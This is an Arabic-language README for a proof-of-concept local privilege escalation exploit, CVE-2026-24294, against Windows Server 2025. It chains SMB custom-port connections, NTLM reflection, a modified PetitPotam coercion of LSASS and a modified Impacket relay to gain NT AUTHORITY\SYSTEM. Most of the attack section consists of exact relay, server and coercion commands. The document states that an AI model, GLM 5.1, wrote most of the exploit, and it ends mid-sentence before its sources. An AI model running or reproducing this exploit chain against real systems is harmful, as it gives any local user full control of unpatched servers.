
إثبات مفهوم لتصعيد الامتيازات المحلية لثغرة CVE-2026-24294، عبر استغلال المنفذ العشوائي في SMB وانعكاس NTLM للحصول على صلاحيات SYSTEM على Windows Server 2025.
تصعيد محلي للامتيازات على Windows Server 2025 عبر انعكاس NTLM، مع استغلال ميزة منفذ SMB العشوائي التي تم تقديمها في Windows 11 24H2 / Server 2025.
قدم Windows 11 24H2 / Server 2025 ميزة عميل SMB تسمح بالاتصالات على منافذ TCP عشوائية (net use \\host\share /tcpport:PORT). وبالاقتران مع تعدد إرسال جلسات SMB (MS-SMB2 القسم 3.2.4.2)، يتيح ذلك انعكاس NTLM محليًا — حيث يمكن لمستخدم منخفض الامتياز إجبار خدمة مميزة (LSASS) على المصادقة على خادم SMB يتحكم فيه المهاجم على منفذ غير قياسي، ثم إعادة توجيه مصادقة NTLM الملتقطة إلى خدمة SMB الحقيقية على المنفذ 445.
التأثير: NT AUTHORITY\SYSTEM من أي مستخدم محلي.
المتأثر: Windows Server 2025 (التكوين الافتراضي). يفرض Windows 11 24H2 توقيع SMB، مما يمنع إعادة التوجيه.
LSASS (SYSTEM) ──NTLM──► عميل SMB ──TCP:12345──► smbserver.py (خاص بنا)
│
▼ إعادة توجيه كتلة NTLM
خدمة SMB (:445) ◄────────────────── ntlmrelayx.py
← جلسة SYSTEM
net use اتصال TCP بخادم SMB الخاص بنا على منفذ مخصص\\127.0.0.1\shareافتح 3 محطات طرفية.
المحطة 1 — تشغيل ntlmrelayx (يستمع على المنفذ الخام 6666، ويعيد التوجيه إلى SMB المحلي):
python ntlmrelayx.py --no-smb-server --no-http-server --no-wcf-server --no-winrm-server --no-rpc-server --no-mssql-server --no-rdp-server -t smb://127.0.0.1 -c "whoami" -smb2support --raw-port 6666
المحطة 2 — تشغيل smbserver المعدل (يستمع على المنفذ 12345، ويعيد توجيه NTLM إلى المنفذ 6666):
python smbserver.py test . -port 12345 -smb2support -username user -password user -relay-port 6666
المحطة 3 — تشغيل الاستغلال:
:: تثبيت المشاركة على منفذ مخصص (يفتح اتصال TCP دائم)
net use \\127.0.0.1\test /tcpport:12345 /user:user user
:: إجبار LSASS على المصادقة على خادم SMB الخاص بنا
PetitPotam.exe 127.0.0.1 localhost 2
سيُظهر مخرج whoami من ntlmrelayx NT AUTHORITY\SYSTEM.
PetitPotam/ — مصدر PetitPotam المعدل. تغييران عن الإصدار الأصلي:
df1941c5-fe89-4e79-bf10-463657acf44d (واجهة EFSRPC الخاصة بـ WS2025)\pipe\efsrpcEfsRpcEncryptFileSrv)، اسم المشاركة مكتوب بشكل ثابت كـ testsmbserver.py — خادم smbserver المعدل من Impacket مع علامة -relay-port. يربط SMB2 SESSION_SETUP لالتقاط مصادقة NTLM ثانية على اتصال متعدد الإرسال وإعادة توجيهها إلى خادم إعادة توجيه خام (ntlmrelayx --raw-port).تمت كتابة هذا الإثبات المفاهيمي (PoC) في الغالب بواسطة الذكاء الاصطناعي (GLM 5.1) بناءً على البحث والتقنيات الموضحة في: